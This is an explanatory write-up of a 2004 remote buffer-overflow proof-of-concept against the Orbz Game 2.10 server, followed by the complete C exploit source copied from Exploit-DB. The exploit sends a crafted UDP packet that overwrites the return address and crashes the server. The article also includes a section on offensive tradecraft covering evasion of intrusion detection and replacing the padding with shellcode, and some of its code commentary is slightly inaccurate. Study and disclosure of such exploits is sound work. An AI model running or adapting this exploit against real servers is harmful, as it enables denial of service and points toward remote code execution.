Orbz Game 2.10 Remote Buffer Overflow Exploit Explained

Orbz Game 2.10 Remote Buffer Overflow Exploit Explained
What this paper is
This paper is a Proof-of-Concept (PoC) exploit for a remote buffer overflow vulnerability in Orbz Game version 2.10. The exploit, written by Luigi Auriemma, targets a specific network protocol used by the game to trigger the overflow and potentially gain control of the vulnerable server. It demonstrates how sending a specially crafted packet can overwrite critical memory locations, including the return address, leading to a denial of service or, in more advanced scenarios, code execution.
Simple technical breakdown
The Orbz game server, when receiving certain network packets, has a fixed-size buffer to store incoming data. If an attacker sends more data than this buffer can hold, the excess data spills over into adjacent memory locations. This is a buffer overflow.
This exploit crafts a packet that is intentionally too large. It aims to overwrite the return address on the stack with a value controlled by the attacker. When the vulnerable function finishes, instead of returning to its legitimate caller, it will jump to the address provided by the attacker. In this PoC, the attacker-controlled address points to a section of the crafted packet that contains shellcode (though the provided shellcode is a placeholder for a DoS).
The exploit uses custom functions (read_bits, write_bits) to precisely pack data into a bitstream, which is then sent over UDP to the Orbz game server. The exploit first pings the server to confirm it's online and then sends the malicious packet. If the server crashes or becomes unresponsive after receiving the malicious packet, it's considered vulnerable.
Complete code and payload walkthrough
The provided C code implements a UDP client that targets the Orbz game server. It includes functions for bit manipulation, network communication, and error handling.
Bit Manipulation Functions
read_bits(unsigned long bits, unsigned char *in, unsigned long in_bits):- Purpose: Reads a specified number of bits (
bits) from a buffer (in) starting at a given bit offset (in_bits). - Inputs:
bits: The number of bits to read (maximum 32).in: The buffer containing the data.in_bits: The starting bit position within theinbuffer.
- Behavior: It iterates through bytes in the input buffer, extracting the requested bits. It handles partial bytes by shifting and masking. It uses a
maskto ensure only the desired number of bits are extracted. - Output: Returns the
unsigned longvalue read from the buffer. - Mapping:
bits > 32: Returns 0, indicating an unsupported read size.bits < 32:mask = (1 << bits) - 1;creates a mask to isolate the lowerbitsbits.for(;;)loop: Processes the buffer byte by byte.seek_bits = in_bits & 7;: Calculates the bit offset within the current byte.ret |= ((*(in + (in_bits >> 3)) >> seek_bits) & mask) << seek;: Reads bits from the current byte, shifts them to align, masks them, and appends them to theretvalue.rem = 8 - seek_bits;: Calculates remaining bits in the current byte.if(rem >= bits) break;: If enough bits are available in the current byte, exit the loop.bits -= rem; in_bits += rem; seek += rem;: Updates remaining bits to read, buffer position, and the shift amount for the next byte.mask = (1 << bits) - 1;: Updates the mask for the remaining bits.
- Purpose: Reads a specified number of bits (
write_bits(unsigned long data, unsigned long bits, unsigned char *out, unsigned long out_bits):- Purpose: Writes a specified number of bits (
bits) from a data value (data) into a buffer (out) starting at a given bit offset (out_bits). - Inputs:
data: Theunsigned longvalue to write.bits: The number of bits to write (maximum 32).out: The buffer to write to.out_bits: The starting bit position within theoutbuffer.
- Behavior: It writes the specified bits from
datainto theoutbuffer, handling partial bytes. It first zeroes out the relevant bits in the target byte before ORing in the new data. - Output: Returns the new bit position in the
outbuffer after writing. - Mapping:
bits > 32: Returnsout_bits, indicating an unsupported write size.bits < 32:data &= ((1 << bits) - 1);masks the data to ensure only the specified number of bits are used.for(;;)loop: Processes the data bit by bit, byte by byte.seek_bits = out_bits & 7;: Calculates the bit offset within the current byte.*(out + (out_bits >> 3)) &= (1 << seek_bits) - 1;: Zeroes out the bits in the target byte that will be overwritten. This is a bit of a simplification; it actually zeroes out the lowerseek_bitsbits ifseek_bitsis not 0. A more robust implementation might zero out the specific bits being written.*(out + (out_bits >> 3)) |= (data << seek_bits);: Shifts the data to the correct position and ORs it into the target byte.rem = 8 - seek_bits;: Calculates remaining bits in the current byte.if(rem >= bits) break;: If all bits fit in the current byte, exit the loop.out_bits += rem; bits -= rem; data >>= rem;: Updates buffer position, remaining bits to write, and shifts the data for the next byte.
- Note: The
*(out + (out_bits >> 3)) &= (1 << seek_bits) - 1;line is a potential point of confusion. Ifseek_bitsis 0,(1 << 0) - 1is1 - 1 = 0. So,&= 0would zero out the entire byte. However, this is only executed ifrem >= bits, meaning all bits fit in the current byte. Ifseek_bitsis 0,remis 8. Ifbitsis also 8, thenrem >= bitsis true, and the entire byte is zeroed. Ifbitsis less than 8, it would still zero the entire byte. This might be an oversight or a deliberate simplification for this specific exploit's packet structure.
- Purpose: Writes a specified number of bits (
Network and Error Handling
- Windows Specifics (
#ifdef WIN32):- Includes
winsock.hfor Windows socket functions. - Defines
closeasclosesocket. WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata);: Initializes the Winsock library.
- Includes
- Standard Includes:
stdio.h,stdlib.h,string.h,time.hfor standard I/O, memory allocation, string manipulation, and time functions.sys/socket.h,sys/types.h,arpa/inet.h,netinet/in.h,netdb.hfor POSIX socket operations.unistd.hfor POSIX functions likeclose.
std_err(void):- Purpose: Handles and prints network-related errors on Windows using
WSAGetLastError()and on POSIX systems usingperror(). - Behavior: On Windows, it maps specific Winsock error codes to human-readable strings. On POSIX, it uses
perrorto print the system error message. In both cases, it prints the error tostderrand exits the program. - Mapping: The
switchstatement on Windows provides a detailed lookup for Winsock error codes. Thedefaultcase usesstrerror(errno)for other errors. The POSIX version usesperror("\nError").
- Purpose: Handles and prints network-related errors on Windows using
Main Exploit Logic
Constants:
VER: Exploit version ("0.1").PORT: Default UDP port (28000).BUFFSZ: Buffer size (2048 bytes).TIMEOUT: Timeout for socket operations (3 seconds).EIP: Placeholder for the desired Instruction Pointer value (0xdeadc0de). This is a common technique to overwrite the return address with a known value for debugging or control.BOF: The buffer overflow payload. It's a string of 'a' characters followed by theEIPvalue, and then more 'a's. The comment/* max 255 */suggests a limitation on the size of this specific overflow data.
main(int argc, char *argv[]):- Initialization:
srand(time(NULL)): Seeds the random number generator.setbuf(stdout, NULL): Disables output buffering forstdout.- Prints exploit banner.
- Argument Handling:
- Checks for at least one argument (
<host>). - If more than two arguments are provided, the second argument is parsed as the port number.
- Checks for at least one argument (
- Socket Setup:
WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata);(Windows only).peer.sin_addr.s_addr = resolv(argv[1]);: Resolves the target hostname to an IP address usingresolv().peer.sin_port = htons(port);: Sets the target port.peer.sin_family = AF_INET;: Sets the address family to IPv4.sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);: Creates a UDP socket.
- Server Ping:
fputs("- ping server: ", stdout);: Informs the user.sendto(sd, "\x1a", 1, 0, (struct sockaddr *)&peer, sizeof(peer)): Sends a single byte0x1aas a UDP packet to the target. This is likely a "ping" or "hello" packet to elicit a response.if(timeout(sd) < 0): Usestimeout()to wait for a response. If no response is received withinTIMEOUTseconds, the server is considered offline.len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);: Receives the server's reply.if(*buff != 0x1c): Checks if the first byte of the reply is0x1c. If not, it prints a warning but continues. This0x1cmight be an acknowledgment or a specific response indicating the server is ready.
- Crafting the Malicious Packet:
memset(buff, 0x00, BUFFSZ);: Clears the buffer (commented as "not needed", suggesting it might be redundant ifwrite_bitscorrectly handles overwriting).bits = write_bits(0x1a, 8, buff, 0);: Writes0x1a(8 bits) to the buffer at bit position 0. This likely corresponds to the packet type for the overflow attempt.bits = write_bits(9, 32, buff, bits);: Writes the value9(32 bits) to the buffer. The meaning of9is unknown without further protocol analysis.bits = write_bits(0xffffffff, 32, buff, bits);: Writes0xffffffff(32 bits) to the buffer. This could be a placeholder or a specific value expected by the server.bits = write_bits(rand(), 32, buff, bits);: Writes a random 32-bit value. This might be a sequence number or a value that the server uses in its processing, making the exploit harder to detect if the server expects unique values.bits++;: Increments the bit count. This is peculiar. It might be to align the next write to a byte boundary or to account for a specific protocol requirement.bits = write_bits(sizeof(BOF) - 1, 8, buff, bits);: Writes the length of theBOFstring (excluding the null terminator) as an 8-bit value. This tells the server how much overflow data to expect.for(i = 0; i < (sizeof(BOF) - 1); i++) { bits = write_bits(BOF[i], 8, buff, bits); }: Writes each character of theBOFstring (the overflow payload) into the buffer, 8 bits at a time.
- Calculating Packet Length:
len = bits >> 3;: Calculates the number of full bytes.if(bits & 7) len++;: If there are remaining bits that don't form a full byte, incrementlento include that partial byte.
- Sending the Malicious Packet:
printf("- send BOOM packet, EIP = 0x%08lx\n", *(u_long *)EIP);: Prints the target EIP value.sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer)): Sends the crafted UDP packet.
- Checking for Vulnerability:
if(timeout(sd) < 0): Waits for a response. If no response is received, it means the server likely crashed or became unresponsive due to the overflow, indicating vulnerability.- Prints "Server IS vulnerable!!!" or "Server doesn't seem vulnerable".
- Cleanup:
close(sd);: Closes the socket.return(0);: Exits successfully.
- Initialization:
Helper Functions
timeout(int sock):- Purpose: Implements a timeout mechanism for socket operations using
select(). - Inputs:
sock: The socket descriptor. - Behavior: Sets a
timevalstructure for a 3-second timeout. It usesselect()to monitor the socket for readability. - Output: Returns 0 if data is available (or an error occurred handled by
std_err), -1 if the timeout expires without any activity. - Mapping:
tout.tv_sec = TIMEOUT;: Sets the timeout to 3 seconds.FD_ZERO(&fd_read); FD_SET(sock, &fd_read);: Initializes the file descriptor set forselect.err = select(sock + 1, &fd_read, NULL, NULL, &tout);: Callsselect.if(err < 0) std_err();: Handles errors fromselect.if(!err) return(-1);: Iferris 0, the timeout expired.
- Purpose: Implements a timeout mechanism for socket operations using
resolv(char *host):- Purpose: Resolves a hostname to an IP address.
- Inputs:
host: The hostname string. - Behavior: First, it tries to resolve the hostname using
inet_addr(). If that fails (returnsINADDR_NONE), it usesgethostbyname()to perform a DNS lookup. - Output: Returns the IP address as a
u_long. - Mapping:
host_ip = inet_addr(host);: Attempts direct IP address conversion.if(host_ip == INADDR_NONE): If direct conversion fails.hp = gethostbyname(host);: Performs DNS lookup.if(!hp) { ... } else host_ip = *(u_long *)hp->h_addr;: Handles DNS lookup failure or success.
std_err(void)(POSIX version):- Purpose: Prints system errors on non-Windows systems.
- Behavior: Uses
perror("\nError")to print a descriptive error message based on the globalerrnovariable and exits.
Shellcode/Payload Segment
The core of the exploit payload is the BOF macro:
#define BOF "aaaaaaaaaaaaaaaaaaaa" \
EIP \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaa" \
/* max 255 */"aaaaaaaaaaaaaaaaaaaa": This is the initial padding. It fills the buffer up to a certain point. The exact number of 'a's here is 20.EIP: This is"\xde\xc0\xad\xde". This 4-byte sequence is intended to overwrite the saved Instruction Pointer (EIP) on the stack. When the vulnerable function returns, it will attempt to execute code at this address. The value0xdeadc0deis a common placeholder used in exploits to indicate a controlled return address."aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"(7 times): This is a large block of padding. Each block is 32 'a's. In total, there are 7 * 32 = 224 'a's. This padding is crucial for filling the rest of the buffer and any adjacent stack space until the return address is overwritten."aaaaaaa": An additional 7 'a's./* max 255 */: This comment suggests that the total size of the data being sent, including the initial packet header and theBOFpayload, is intended to be around 255 bytes or that the overflow itself is limited to a certain size. The actual size ofBOFis 20 + 4 + 224 + 7 = 255 characters.
Payload Execution Flow:
- The Orbz game server receives the crafted UDP packet.
- The server attempts to process this packet into a fixed-size buffer.
- The
write_bitsfunction constructs the packet, starting with0x1a(packet type), followed by9,0xffffffff, a random number, and then theBOFpayload. - The
BOFpayload, containing20 * 'a',0xdeadc0de, and231 * 'a', is written into the buffer. - The
sizeof(BOF) - 1(which is 255) is sent as the length of the data. - The server's internal buffer is overflowed. The
0xdeadc0devalue overwrites the return address on the stack. - When the function handling this packet finishes and attempts to return, it pops
0xdeadc0defrom the stack as the next instruction address. - Since
0xdeadc0deis not a valid code address, the program will likely crash with an access violation (segmentation fault or similar). The exploit checks for this crash by seeing if the server stops responding.
Note on Shellcode: The provided BOF does not contain actual executable shellcode. It's designed to overwrite the EIP with a specific value (0xdeadc0de) and then fill the rest of the buffer. The goal of this PoC is to demonstrate the buffer overflow and trigger a denial of service by causing a crash. A real-world exploit would replace the padding after EIP with actual shellcode and adjust the EIP value to point to the start of that shellcode.
Code Fragment/Block -> Practical Purpose Mapping
#include <stdio.h>: Standard input/output functions.#include <stdlib.h>: Standard library functions (e.g.,exit,rand,atoi).#include <string.h>: String manipulation functions (e.g.,memset).#include <time.h>: Time functions (e.g.,time,srand).read_bits(...): Utility to read a specific number of bits from a buffer.write_bits(...): Utility to write a specific number of bits to a buffer.#ifdef WIN32 ... #else ... #endif: Conditional compilation for Windows vs. POSIX systems.#include <winsock.h>: Windows Sockets API.WSADATA wsadata; WSAStartup(...): Windows network initialization.#define close closesocket: Windows alias for socket closing.#include <unistd.h>: POSIX standard functions.#include <sys/socket.h>: POSIX socket functions.std_err(): Error handling function (platform-specific).#define PORT 28000: Default UDP port for Orbz game.#define BUFFSZ 2048: Maximum buffer size for receiving data.#define TIMEOUT 3: Timeout in seconds for network operations.#define EIP "\xde\xc0\xad\xde": Target value to overwrite the Instruction Pointer.#define BOF "...": The overflow payload string.main(...): Entry point of the program.srand(time(NULL)): Seed for random number generation.setbuf(stdout, NULL): Disable stdout buffering.fputs(...): Prints banner and messages.if(argc < 2) { ... }: Checks for required command-line arguments.port = atoi(argv[2]);: Parses port from command line.peer.sin_addr.s_addr = resolv(argv[1]);: Resolves target IP.peer.sin_port = htons(port);: Sets target port.peer.sin_family = AF_INET;: Sets address family.sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);: Creates UDP socket.sendto(sd, "\x1a", 1, ...): Sends initial "ping" packet.timeout(sd): Waits for a response from the server.recvfrom(sd, buff, BUFFSZ, ...): Receives server's reply.if(*buff != 0x1c): Checks server's reply type.memset(buff, 0x00, BUFFSZ);: Clears buffer (commented as not needed).bits = write_bits(...): Constructs the malicious UDP packet using bit packing.printf("- send BOOM packet, EIP = 0x%08lx\n", *(u_long *)EIP);: Informs user about the target EIP.sendto(sd, buff, len, ...): Sends the crafted overflow packet.if(timeout(sd) < 0): Checks if the server responded (i.e., crashed).close(sd);: Closes the socket.timeout(int sock): Helper function for socket timeouts.resolv(char *host): Helper function to resolve hostnames.
Practical details for offensive operations teams
- Required Access Level: Network access to the target host's UDP port 28000 (or the specified port). No local access is required.
- Lab Preconditions:
- A vulnerable Orbz Game 2.10 server instance must be running and accessible over the network.
- The attacker needs a machine capable of running the C exploit code (e.g., a Linux or Windows machine with a C compiler).
- Network connectivity between the attacker machine and the target server.
- Tooling Assumptions:
- A C compiler (GCC for Linux, MinGW/MSVC for Windows).
- Standard networking libraries (Winsock on Windows, POSIX sockets on Linux).
- The exploit code itself.
- Execution Pitfalls:
- Incorrect Version: The exploit is specific to Orbz Game 2.10. Newer versions or different games will not be vulnerable.
- Firewall/Network Restrictions: Firewalls might block UDP traffic on port 28000.
- Server Not Running/Offline: The initial ping step is crucial to confirm server availability.
- Protocol Variations: If the game server uses a different protocol version or has been patched, the packet structure might be invalid, leading to no overflow.
- Buffer Size Variations: If the server's internal buffer size is different from what the exploit assumes (e.g., due to different OS configurations or game builds), the overflow might not occur or might hit a different memory location. The
max 255comment is a hint about the intended size. - ASLR/DEP: Modern operating systems employ Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP). While this PoC is a DoS, a true RCE exploit would need to bypass these protections, which are unlikely to be present on systems running such old software.
- UDP Reliability: UDP is an unreliable protocol. Packets can be lost or arrive out of order. This exploit relies on the packet arriving correctly. Retries might be necessary.
- EIP Value: The
0xdeadc0deis a placeholder. If the goal were code execution, this would need to be a valid address pointing to shellcode. The current payload is designed to crash the server, not execute arbitrary code.
- Tradecraft Considerations:
- Reconnaissance: Confirm the exact version of Orbz Game running on the target. Identify the network port used for communication.
- Stealth: UDP traffic can be less scrutinized than TCP. However, repeated attempts to exploit a known vulnerability can still be detected by network intrusion detection systems (NIDS) if the packet patterns are recognized.
- Payload Customization: For actual RCE, the
BOFmacro would need to be replaced with carefully crafted shellcode, and theEIPvalue adjusted to point to it. The padding would also need to be precisely calculated. - Post-Exploitation: This PoC only achieves denial of service. For further operations, a more sophisticated payload would be required.
Where this was used and when
- Context: This exploit targets the Orbz Game, a multiplayer game that was popular in the early 2000s. It was likely used by individuals or groups interested in disrupting game servers or demonstrating security weaknesses in older online games.
- Approximate Timeframe: The exploit was published on Exploit-DB in November 2004. Therefore, its active use would have been around this period and likely for a few years afterward until the game was patched or phased out. It's unlikely to be relevant for current, patched systems.
Defensive lessons for modern teams
- Patch Management: The most fundamental lesson is the critical importance of timely patching. This vulnerability existed in version 2.10, implying that later versions likely addressed it. Organizations must have robust patch management processes for all software, especially network-facing services.
- Input Validation: Network services must rigorously validate all incoming data. This includes checking packet lengths, data types, and expected formats. The Orbz game server failed to properly handle oversized input, leading to the overflow.
- Secure Coding Practices: Developers should be trained in secure coding practices, including buffer overflow prevention techniques (e.g., using safe string functions, bounds checking).
- Network Segmentation and Firewalls: Restricting access to game servers and other critical services to only necessary ports and protocols can limit the attack surface. A firewall could have blocked UDP traffic to port 28000 from untrusted sources.
- Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS can be configured to detect known exploit patterns, including malformed packets or unusual UDP traffic that might indicate a buffer overflow attempt.
- Vulnerability Scanning: Regular vulnerability scanning of network services can help identify outdated and vulnerable software before attackers exploit it.
- Deprecation of Old Software: Running end-of-life or unpatched software like Orbz Game 2.10 is a significant security risk. Organizations should migrate away from such systems.
ASCII visual (if applicable)
This exploit involves a client-server interaction over UDP. A simple visual representation of the packet flow and the buffer overflow can be helpful.
+-----------------+ +-----------------+
| Attacker Client | ----> | Orbz Game Server|
+-----------------+ +-----------------+
| |
| UDP Packet (crafted) |
| (Overflow Payload) |
|---------------------->|
|
| Server receives packet
| into a fixed-size buffer
|
| +-----------------+
| | Buffer |
| | +-------------+ |
| | | Data | |
| | | (Overflow) | |
| | +-------------+ |
| | | Overwritten | |
| | | Return Addr | | <--- EIP = 0xdeadc0de
| | +-------------+ |
| +-----------------+
|
| Server attempts to return
| from function, jumps to
| 0xdeadc0de, causing crash.
|
| +-----------------+
| | Crash / |
| | Unresponsive |
| +-----------------+
|
| No UDP reply received
| by client.
|
| <-----------------|
|
| "Server IS vulnerable!!!"
|Explanation:
The attacker's client sends a specially crafted UDP packet. The Orbz game server receives this packet and attempts to store its contents in a buffer. Because the packet is too large, the data overflows the buffer, overwriting critical memory, including the return address (EIP). When the server's processing function tries to return, it uses the overwritten EIP, leading to a crash or an unhandled exception. The attacker's client detects this by noticing the absence of a reply.
Source references
- Paper ID: 665
- Paper Title: Orbz Game 2.10 - Remote Buffer Overflow (PoC)
- Author: Luigi Auriemma
- Published: 2004-11-29
- Keywords: Windows, dos
- Paper URL: https://www.exploit-db.com/papers/665
- Raw URL: https://www.exploit-db.com/raw/665
Original Exploit-DB Content (Verbatim)
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
/*
Read/Write bits to buffer 0.1.1
by Luigi Auriemma
e-mail: aluigi@altervista.org
web: http://aluigi.altervista.org
max 32 bits numbers supported (from 0 to 4294967295).
Probably not the fastest bit packing functions existent, but I like them.
*/
unsigned long read_bits( // number read
unsigned long bits, // how much bits to read
unsigned char *in, // buffer from which to read the number
unsigned long in_bits // position of the buffer in bits
) {
unsigned long seek_bits,
rem,
seek = 0,
ret = 0,
mask = -1L;
if(bits > 32) return(0);
if(bits < 32) mask = (1 << bits) - 1;
for(;;) {
seek_bits = in_bits & 7;
ret |= ((*(in + (in_bits >> 3)) >> seek_bits) & mask) << seek;
rem = 8 - seek_bits;
if(rem >= bits) break;
bits -= rem;
in_bits += rem;
seek += rem;
mask = (1 << bits) - 1;
}
return(ret);
}
unsigned long write_bits( // position where the stored number finishs
unsigned long data, // number to store
unsigned long bits, // how much bits to occupy
unsigned char *out, // buffer on which to store the number
unsigned long out_bits // position of the buffer in bits
) {
unsigned long seek_bits,
rem;
if(bits > 32) return(out_bits);
if(bits < 32) data &= ((1 << bits) - 1);
for(;;) {
seek_bits = out_bits & 7;
*(out + (out_bits >> 3)) &= (1 << seek_bits) - 1; // zero
*(out + (out_bits >> 3)) |= (data << seek_bits);
rem = 8 - seek_bits;
if(rem >= bits) break;
out_bits += rem;
bits -= rem;
data >>= rem;
}
return(out_bits + bits);
}
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define PORT 28000
#define BUFFSZ 2048
#define TIMEOUT 3
#define EIP "\xde\xc0\xad\xde"
#define BOF "aaaaaaaaaaaaaaaaaaaa" \
EIP \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaa" \
/* max 255 */
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
u_long bits;
int sd,
i,
len;
u_short port = PORT;
u_char buff[BUFFSZ];
struct sockaddr_in peer;
srand(time(NULL));
setbuf(stdout, NULL);
fputs("\n"
"Orbz <= 2.10 buffer-overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%d)]\n"
"\n", argv[0], port);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr),
port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("- ping server: ", stdout);
if(sendto(sd, "\x1a", 1, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(timeout(sd) < 0) {
fputs("\n"
"Error: no reply received, probably the server is not online\n"
"\n", stdout);
exit(1);
}
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
if(len < 0) std_err();
if(*buff != 0x1c) {
fputs("bad reply, however I continue\n", stdout);
} else {
fputs("ok\n", stdout);
}
memset(buff, 0x00, BUFFSZ); /* not needed */
bits = write_bits(0x1a, 8, buff, 0);
bits = write_bits(9, 32, buff, bits);
bits = write_bits(0xffffffff, 32, buff, bits);
bits = write_bits(rand(), 32, buff, bits);
bits++;
bits = write_bits(sizeof(BOF) - 1, 8, buff, bits);
for(i = 0; i < (sizeof(BOF) - 1); i++) {
bits = write_bits(BOF[i], 8, buff, bits);
}
len = bits >> 3;
if(bits & 7) len++;
printf("- send BOOM packet, EIP = 0x%08lx\n", *(u_long *)EIP);
if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2004-11-29]